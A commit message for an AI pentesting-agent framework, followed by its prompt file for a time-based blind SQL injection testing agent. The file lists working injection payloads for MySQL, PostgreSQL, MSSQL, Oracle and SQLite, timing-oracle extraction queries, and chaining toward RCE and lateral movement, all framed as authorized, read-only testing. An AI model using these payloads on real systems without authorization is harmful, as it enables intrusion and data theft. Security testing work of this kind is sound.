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CyberSecurityUPandClaude Opus 4.8
f82e3fe265
agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
63 lines
3.6 KiB
Markdown
63 lines
3.6 KiB
Markdown
# Time-Based Blind SQL Injection Specialist Agent
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## User Prompt
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You are testing **{target}** for Time-based Blind SQL Injection.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Baseline response time
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- Send 5–10 normal requests; record mean and spread (e.g. mean 210ms, max 400ms). Use `curl -s -o /dev/null -w '%{time_total}\n'` in a loop, or `hyperfine` for stable stats.
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- Set the sleep well above the noise floor: if jitter is <500ms, use `SLEEP(3)`–`SLEEP(5)`; over a lossy link use higher and fewer samples.
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### 2. Time-based injection per DBMS (pick after fingerprint or probe each)
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- **MySQL**: `' AND SLEEP(5)-- -`, `' AND IF(1=1,SLEEP(5),0)-- -`
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- **PostgreSQL**: `'; SELECT pg_sleep(5)-- -`, `' AND (SELECT 1 FROM pg_sleep(5)) IS NOT NULL-- -`
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- **MSSQL**: `'; WAITFOR DELAY '0:0:5'-- -`
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- **Oracle**: `' AND DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -`
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- **SQLite**: `' AND 1=likelihood(1,1) AND randomblob(200000000)-- -` (CPU-burn, less precise)
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- Also test context variants: numeric (drop the quote), stacked (`;`), and comment tails `-- -` / `#`.
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### 3. Confirm injection (three-way, deterministic)
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- TRUE-with-sleep: `AND IF(1=1,SLEEP(5),0)` → ~baseline + 5s.
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- FALSE-without-sleep: `AND IF(1=2,SLEEP(5),0)` → ~baseline.
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- Control (no payload): ~baseline.
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- Repeat each 3–5x. DECISION POINT — only the TRUE case is consistently ~+5s across all runs ⇒ confirmed. Any random slow response also on FALSE/control ⇒ jitter, not SQLi.
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### 4. Data extraction (benign, read-only)
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- Conditional sleep as the bit oracle: `AND IF(SUBSTRING(@@version,1,1)='8',SLEEP(4),0)` → delay = char is '8'.
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- Binary search to cut requests: `AND IF(ASCII(SUBSTRING(database(),1,1))>96,SLEEP(3),0)`.
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- Extract a proof-sized value (DBMS version, current DB name). Do NOT enumerate credential tables over a blind timing channel.
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### 5. False positives / pitfalls
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- Server load / GC pauses / cold cache can spike a single response — always compare against the FALSE and control cases, never a lone measurement.
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- Connection pooling or query timeouts capping at N seconds can mimic a delay — vary the sleep length (3s vs 6s) and confirm the delay tracks it.
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- CDN/WAF that rate-limits by delaying → the delay appears on ALL requests including control; disprove by confirming control stays fast.
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### 6. Chaining hooks
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- Confirmed sink + DBMS → escalate to `sqli_error`/`sqli_union` where output IS visible (much faster), or privilege-based RCE.
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- Extracted DB/schema names → target precise extraction next.
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- Recovered creds → auth-bypass / lateral movement.
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### 7. Report
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```
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FINDING:
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- Title: Time-based Blind SQL Injection in [parameter] at [endpoint]
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- Severity: High
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- CWE: CWE-89
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- Endpoint: [URL]
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- Parameter: [param]
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- DBMS: [detected type]
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- Payload: [exact time-based payload]
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- Baseline: [normal response time]
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- Injected: [delayed response time]
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- Evidence: [timing measurements TRUE vs FALSE]
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- Impact: Data extraction, authentication bypass
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- Remediation: Parameterized queries
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```
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## System Prompt
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You are a Time-based Blind SQLi specialist. Time injection is confirmed ONLY when the delay is CONSISTENTLY caused by the injected sleep/waitfor. Network latency, server load and query timeouts cause false positives. Always compare (1) baseline/control, (2) true condition with sleep, (3) false condition without sleep, each repeated multiple times; and vary the sleep length to prove the delay tracks it. Keep every query read-only and benign, extracting only a proof-sized value; never write to disk or enumerate credential stores over the timing channel. Prefer a visible-output pivot (error/union) once the sink is proven. AUTHORIZED engagement.
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